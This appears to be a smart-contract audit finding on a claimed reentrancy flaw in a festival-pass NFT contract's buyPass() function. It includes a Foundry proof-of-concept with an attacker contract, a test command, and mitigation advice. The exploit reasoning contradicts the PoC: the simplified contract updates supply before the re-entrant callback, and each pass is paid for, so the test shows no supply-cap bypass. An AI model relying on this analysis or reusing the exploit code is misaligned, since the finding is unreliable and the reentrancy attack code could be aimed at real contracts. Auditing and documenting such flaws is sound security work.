Root + Impact
Description
The buyPass()
function of FestivalPass.sol
allows users buy NFT passes, and also receive BEAT tokens as bonuses based on the tier they purchase.
The buyPass()
function calls an external _mint()
function before updating the state ++passSupply[...]
.
During execution, it calls the external mint
function of the BEAT token contract to mint bonus tokens to the user. The implementation of a malicious token could trigger a reentrancy attack which could be used to expliot it by calling buyPass
to mint multiple passes before the first call finishes execution.
function buyPass(uint256 collectionId) external payable {
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
_mint(msg.sender, collectionId, 1, "");
@> ++passSupply[collectionId];
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
@> BeatToken(beatToken).mint(msg.sender, bonus);
}
emit PassPurchased(msg.sender, collectionId);
}
Risk
Likelihood:
-
This happens when a malicious address makes use of the mint()
function to call buyPass
again while the first call is still running.
-
This happens due to the lack of a nonReentrant
modifier and performs an external call after state changes
Impact:
-
This allows a malicious actor to bypass passMaxSupply
checks and mint multiple passes per transaction.
-
This can break the contract’s logic and potentially allow an attacker to drain it or keep minting free tokens
Proof of Concept
Using Foundry to test the exploit, the first step is to create a new file test/ReentrancyPoc.t.sol
.
Add the following to the contract.
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "forge-std/console.sol";
contract FestivalPass {
uint public supply;
uint public constant PRICE = 1 ether;
address public token;
function buyPass() external payable {
require(msg.value == PRICE, "Wrong amount");
require(supply < 10, "Sold out");
_mint();
supply++;
(bool success,) = token.call(abi.encodeWithSignature("callback()"));
require(success, "Callback failed");
}
function _mint() private {
}
function setToken(address _token) external {
token = _token;
}
}
contract Attacker {
FestivalPass public pass;
uint public reentrancyCount;
constructor(address _pass) {
pass = FestivalPass(_pass);
}
function attack() external payable {
pass.buyPass{value: 1 ether}();
}
function callback() external payable {
if (reentrancyCount < 2) {
reentrancyCount++;
pass.buyPass{value: 1 ether}();
}
}
}
contract ReentrancyTest is Test {
function testExploit() public {
FestivalPass pass = new FestivalPass();
Attacker attacker = new Attacker(address(pass));
pass.setToken(address(attacker));
vm.deal(address(attacker), 3 ether);
attacker.attack{value: 1 ether}();
console.log("Total passes minted:", pass.supply());
assertEq(pass.supply(), 3, "Should have 3 passes from reentrancy");
assertEq(attacker.reentrancyCount(), 2, "Should have reentered twice");
}
}
Run the following command to run the test
forge test -vv --match-test testExploit
How the Exploit works
The Attacker calls the attack()
function with 1 ETH.
the buyPass()
mints a pass but doesn’t update the supply yet.
-
Before supply++
, the contract calls callback()
.
-
The attacker re-enters buyPass()
two more times.
-
Each call mints another pass before supply is updated.
Recommended Mitigation
Use the Checks-Effects-Interactions Pattern
Update Supply Before External Calls
function buyPass() external payable {
require(msg.value == PRICE, "Wrong amount");
require(supply < 10, "Sold out");
supply++;
_mint();
(bool success,) = token.call(abi.encodeWithSignature("callback()"));
require(success);
}
Make use of OpenZeppelin’s ReentrancyGuard
Use OpenZeppelin’s ReentrancyGuard to prevent multiple buyPass()
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract FestivalPass is ReentrancyGuard {
function buyPass(uint collectionId) external payable nonReentrant {
...
}
}